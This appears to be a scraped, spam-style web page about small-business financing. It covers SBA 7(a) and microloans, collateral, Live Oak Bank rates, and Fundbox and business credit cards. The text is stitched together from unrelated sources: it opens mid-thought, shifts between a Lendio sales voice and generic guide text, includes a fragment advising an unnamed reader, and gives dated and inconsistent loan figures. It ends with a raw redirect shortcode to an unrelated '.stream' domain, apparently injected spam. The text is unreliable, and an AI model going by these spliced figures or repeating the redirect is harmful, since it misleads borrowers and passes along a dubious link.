Choosing isn’t as hard as it sounds, though. When you shop for your loan with Lendio, one of our personal funding managers will partner with you every step of the way. He or she will talk to you about all your loan options, help you calculate how much financing you need, walk you through collecting all the necessary documents and forms, and tell you everything’s going to be okay. We don’t hug, though. Hugs are where we draw the line.
Small business loans can be critical to your success as a business owner. Traditional banks are no longer your only option. From SBA loans to business lines of credit to invoice-based financing, you now have access to many options through online lenders. Find the business financing product that is best for you. Learn about loan/product types.
For-profit lenders are reluctant to issue loans to anyone who does not have a strong credit report and financial history. That is not the case with government small business loans. Obviously, a decent credit report is important, and you will have to follow the guidelines regarding the repayment period and the interest rate set by the government, but usually the interest rates charged by government loans are lower than those you could expect in the private sector.
The SBA does not set limits on the rates, terms, and fees for the traditional lender. That leaves the details of the loan up to negotiation. In general, interest rates will be between 4% – 8% and will have a reset point. Typically the loan will have a 5-10 year term but will be amortized over 20-25 years. This amortization schedule will mean a lower monthly payment but also result in large balloon when the loan matures.
To qualify for a small-business loan, you may have to provide collateral to back the loan. Collateral is an asset, such as equipment, real estate or inventory, that can be seized and sold by the lender if you can’t make your payments. It’s basically a way lenders recover their money if your business fails.
Live Oak Bank is second only to Wells Fargo in dollar volume lent through the SBA program. Its APRs range from 5.75% to 7.75%. Loan amounts range from $75,000 to $5 million; the average in 2015 was $1.1 million.
Lenders vary in the amount and history length of the documents they need to process your loan application. Be prepared to provide up to 2 years of history. Not all lenders will require two years on all documents, but many will not require more than that. In any case, be prepared to furnish all requested documentation.
In fact, the U.S. Small Business Administration (SBA) now uses the score to pre-screen it’s most popular 7(a) loans. If your score falls below their minimum threshold, you may not qualify for one of the most attractive—lowest interest rates—small business loans available. Starting at the beginning of 2014, all SBA 7(a) loan applications up to $350,000 are required to go through a business credit score pre-screen. To be clear, if you’re applying for an SBA loan, most likely it’s a 7(a).
The Microloan program provides small loans ranging from under $500 to $50,000. Under this program, the SBA makes funds available to nonprofit intermediaries that, in turn, make the small loans directly to entrepreneurs, including veterans. Proceeds can be used for typical business purposes such as working capital, or the purchase of furniture, fixtures, machinery, supplies, equipment, and inventory. Microloans may not be used for the purchase of real estate. Interest rates are negotiated between the borrower and the intermediary. The maximum term for a microloan is 7 years. For more information, go to www.sba.gov/microloans
SBA loans provide financing for almost any business purpose, including real estate purchase, business acquisition or startup, equipment, inventory, and competitor and partner buyouts. Loan amounts from $250,000 to $11.25 million.Referral Network ResourcesLearn More
Because you have strong credit but your revenue doesn’t quite meet the requirements of most online lenders, consider Fundbox or a business credit card. Business credit cards are a solid option for ongoing working capital and provide quick access to cash, spending rewards and sign-up bonuses. If your business has unpaid customer invoices, you can take a cash advance against those invoices through Fundbox, although you’ll likely pay a higher APR than you would with a business credit card. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]